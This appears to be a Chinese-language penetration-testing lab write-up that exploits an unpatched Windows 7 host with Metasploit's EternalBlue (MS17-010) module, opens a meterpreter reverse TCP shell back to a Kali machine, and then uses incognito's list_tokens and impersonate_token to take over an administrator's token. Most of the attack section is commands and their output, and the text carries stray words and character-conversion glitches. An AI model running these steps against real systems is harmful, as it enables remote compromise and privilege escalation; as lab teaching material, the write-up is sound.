令牌(Token) 就是系統的臨時密鑰,至關於帳戶名和密碼,用來決定是否允) 許此次請求和判斷此次請求是屬於哪個用戶的。它容許你在不提供密碼或其餘憑證的前提下,訪問網絡和系統資源。這些令牌將持續存在於系統中,除非系統從新啓動。
令牌最大的特色就是隨機性,不可預測,通常黑客或軟件沒法猜想出來。令牌有不少種,好比訪問令牌(Access Token)表示訪問控制操做主題的系統對象;密保令牌(Security token),又叫做認證令牌或者硬件令牌,是一種計算機身份校驗的物理設備,例如U盾;會話令牌(Session Token)是交互會話中惟一的身份標識符。
在假冒令牌攻擊中須要使用Kerberost協議。因此在使用假冒令牌前,先來介紹Kerberost協議。Kerberos是一種網絡認證協議,其設計目標是經過密鑰系統爲客戶機/服務器應用程序提供強大的認證服務。Kerberos的工做機制以下圖所示。shell
客戶端請求證書的過程以下所示。windows
攻擊機kali:192.168.1.104
靶機win7:192.168.1.102安全
msf5 > search ms17_010 # 搜索永恆之藍漏洞利用模塊 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 2 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection 3 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 4 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 5 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution msf5 > use exploit/windows/smb/ms17_010_eternalblue # 用這個模塊,注意,靶機別打補丁,別開防火牆,以保證試驗成功 msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # 用這個payload payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102 # 設置目標機IP RHOST => 192.168.1.102 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104 # 設置攻擊機IP LHOST => 192.168.1.104 msf5 exploit(windows/smb/ms17_010_eternalblue) > run # 開炮開炮開炮!!! [*] Started reverse TCP handler on 192.168.1.104:4444 [*] 192.168.1.102:445 - Connecting to target for exploitation. [+] 192.168.1.102:445 - Connection established for exploitation. [+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes) [*] 192.168.1.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima [*] 192.168.1.102:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service [*] 192.168.1.102:445 - 0x00000020 50 61 63 6b 20 31 Pack 1 [+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.1.102:445 - Sending all but last fragment of exploit packet [*] 192.168.1.102:445 - Starting non-paged pool grooming [+] 192.168.1.102:445 - Sending SMBv2 buffers [+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.1.102:445 - Sending final SMBv2 buffers. [*] 192.168.1.102:445 - Sending last fragment of exploit packet! [*] 192.168.1.102:445 - Receiving response from exploit packet [+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.1.102:445 - Sending egg to corrupted connection. [*] 192.168.1.102:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 192.168.1.102 [*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49163) at 2020-09-29 19:22:08 +0800 [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > # 能夠開幹壞事啦
此時咱們經過一系列前期滲透: https://www.jianshu.com/p/03a1c13f963a,已經成功得到了目標機的MeterpreterShell,首先輸入getuid命令查看已經得到的權限,而後輸入getsystem,發現提權失敗。
(咦。。。直接system權限我透,算了繼續作,看成我沒有的亞子……
服務器
咱們先輸入use incognito
命令,而後輸入list_tokens -u
列出可用的token以下:
網絡
能夠看到有兩種類型的令牌: 一種是Delegation Tokens,也就是受權令牌,它支持交互式登陸(例如能夠經過遠程桌面登陸訪問) ;還有一種是Impersonation Tokens,也就是模擬令牌,它是非交互的會話。令牌的數量其實取決於Meterpreter Shell的訪問級別。
由上圖能夠看到,咱們已經得到了一個系統管理員ge的受權令牌,如今就要假冒這個令牌,成功後便可擁有它的權限。
從輸出的信息能夠看到分配的有效令牌包含ge-PC\ge,其中ge-PC是目標機的主機名,ge表示登陸的用戶名。接下來在incognito中調用impersonate token命令假冒ge用戶進行攻擊,具體方法以下圖所示。
session
注意:在輸入HOSTNAME\USERNAME時須要兩個反斜槓(\)
運行成功後在Meterpreter Shell下運行shell命令並輸入whoami,能夠看到筆者如今就是假冒的那個ge-pc\ge系統管理員了。tcp
本文參考 開篇的博客連接 及 《Web安全攻防:滲透測試實戰指南》
全部過程僅供演示交流,禁止用於非法用途,由此產生的非法後果與我無瓜!!!測試